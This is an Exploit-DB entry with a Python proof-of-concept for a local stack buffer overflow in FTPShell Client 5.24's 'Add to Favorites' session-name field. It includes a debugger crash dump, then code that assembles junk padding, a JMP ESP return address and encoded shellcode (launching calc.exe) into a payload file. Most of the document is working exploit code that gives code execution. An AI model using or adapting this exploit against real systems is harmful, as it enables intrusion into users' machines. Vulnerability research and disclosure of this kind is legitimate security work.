Exploit-DB #39159
Description: FTPShell Client 5.24 - 'Add to Favorites' Buffer Overflow
Type: local
Platform: windows
Date: 2016-01-04
Author: INSECT.B

Exploit:
# Exploit Title: FTPShell Client 5.24 - Add to Favorites Buffer Overflow
# Google Dork: N/A
# Date: 2015-01-04
# Exploit Author: INSECT.B
#	Twitter : @INSECT.B
#	Facebook : https://www.facebook.com/B.INSECT00
#	Blog : http://binsect00.tistory.com
# Vendor Homepage: www.ftpshell.com
# Software Link: http://www.ftpshell.com/download.htm
# Version: 5.24
# Tested on: Windows7 Ultimate SP1 K x86 
# CVE : N/A

"""
[+] Type : Buffer Overflow
[-]	 ftpsehll client has a buffer overlow entry point in the [Favorites] - [Add to favorites..] 'Session name' input field
[-]	used to add session to favorites list .

[+]Crash : input 'A' x 1500 to Session name field
[-] (4c4.8f8): Access violation - code c0000005 (!!! second chance !!!)
[-] eax=00000000 ebx=00944a0c ecx=00000000 edx=41414141 esi=00000500 edi=0012fe1c
[-] eip=41414141 esp=0012fd54 ebp=41414141 iopl=0         nv up ei pl zr na pe nc
[-] cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00210246
[-] 41414141 ??              ???
"""

import struct

junk = "A"*460
junk2 = "\x90"*248

esp = "\x0B\xD4\xDF\x73" # JMP ESP

#shellcode
#CMD : calc.exe
#encoder : Alpha-mix encoder
#buffer register : esp 
sc = ("\x54\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49" +
"\x49\x49\x49\x49\x37\x51\x5a\x6a\x41\x58\x50\x30\x41\x30" +
"\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42" +
"\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49\x4b\x4c\x38\x68" +
"\x4b\x32\x33\x30\x75\x50\x63\x30\x65\x30\x6c\x49\x5a\x45" +
"\x65\x61\x39\x50\x35\x34\x4c\x4b\x46\x30\x54\x70\x4e\x6b" +
"\x63\x62\x46\x6c\x6e\x6b\x43\x62\x47\x64\x4c\x4b\x44\x32" +
"\x46\x48\x74\x4f\x4f\x47\x51\x5a\x37\x56\x35\x61\x59\x6f" +
"\x6e\x4c\x45\x6c\x43\x51\x53\x4c\x43\x32\x44\x6c\x65\x70" +
"\x5a\x61\x5a\x6f\x74\x4d\x37\x71\x6a\x67\x4a\x42\x39\x62" +
"\x76\x32\x42\x77\x6c\x4b\x31\x42\x36\x70\x4e\x6b\x33\x7a" +
"\x57\x4c\x6e\x6b\x32\x6c\x66\x71\x42\x58\x78\x63\x53\x78" +
"\x73\x31\x7a\x71\x36\x31\x4e\x6b\x66\x39\x51\x30\x36\x61" +
"\x59\x43\x6e\x6b\x57\x39\x62\x38\x58\x63\x45\x6a\x52\x69" +
"\x6c\x4b\x44\x74\x4e\x6b\x55\x51\x7a\x76\x70\x31\x69\x6f" +
"\x6c\x6c\x6f\x31\x48\x4f\x36\x6d\x65\x51\x7a\x67\x76\x58" +
"\x59\x70\x61\x65\x48\x76\x53\x33\x71\x6d\x4b\x48\x35\x6b" +
"\x61\x6d\x36\x44\x31\x65\x4b\x54\x30\x58\x6e\x6b\x66\x38" +
"\x76\x44\x56\x61\x4e\x33\x51\x76\x6c\x4b\x74\x4c\x72\x6b" +
"\x6e\x6b\x71\x48\x47\x6c\x57\x71\x7a\x73\x4c\x4b\x66\x64" +
"\x6e\x6b\x36\x61\x6e\x30\x4d\x59\x50\x44\x57\x54\x66\x44" +
"\x63\x6b\x71\x4b\x61\x71\x63\x69\x61\x4a\x36\x31\x39\x6f" +
"\x59\x70\x61\x4f\x61\x4f\x52\x7a\x4c\x4b\x64\x52\x5a\x4b" +
"\x6e\x6d\x31\x4d\x32\x4a\x75\x51\x6c\x4d\x4b\x35\x48\x32" +
"\x75\x50\x65\x50\x67\x70\x66\x30\x73\x58\x65\x61\x4c\x4b" +
"\x52\x4f\x6b\x37\x59\x6f\x48\x55\x4d\x6b\x38\x70\x78\x35" +
"\x59\x32\x33\x66\x72\x48\x79\x36\x5a\x35\x6d\x6d\x4d\x4d" +
"\x6b\x4f\x58\x55\x45\x6c\x33\x36\x61\x6c\x76\x6a\x6b\x30" +
"\x6b\x4b\x4d\x30\x54\x35\x45\x55\x4f\x4b\x62\x67\x37\x63" +
"\x70\x72\x70\x6f\x70\x6a\x45\x50\x46\x33\x69\x6f\x49\x45" +
"\x50\x63\x65\x31\x50\x6c\x71\x73\x46\x4e\x42\x45\x70\x78" +
"\x73\x55\x75\x50\x41\x41"
)



payload = junk + esp + sc + junk2

file=open("C:\\shelll","w")
file.write(payload)
file.close()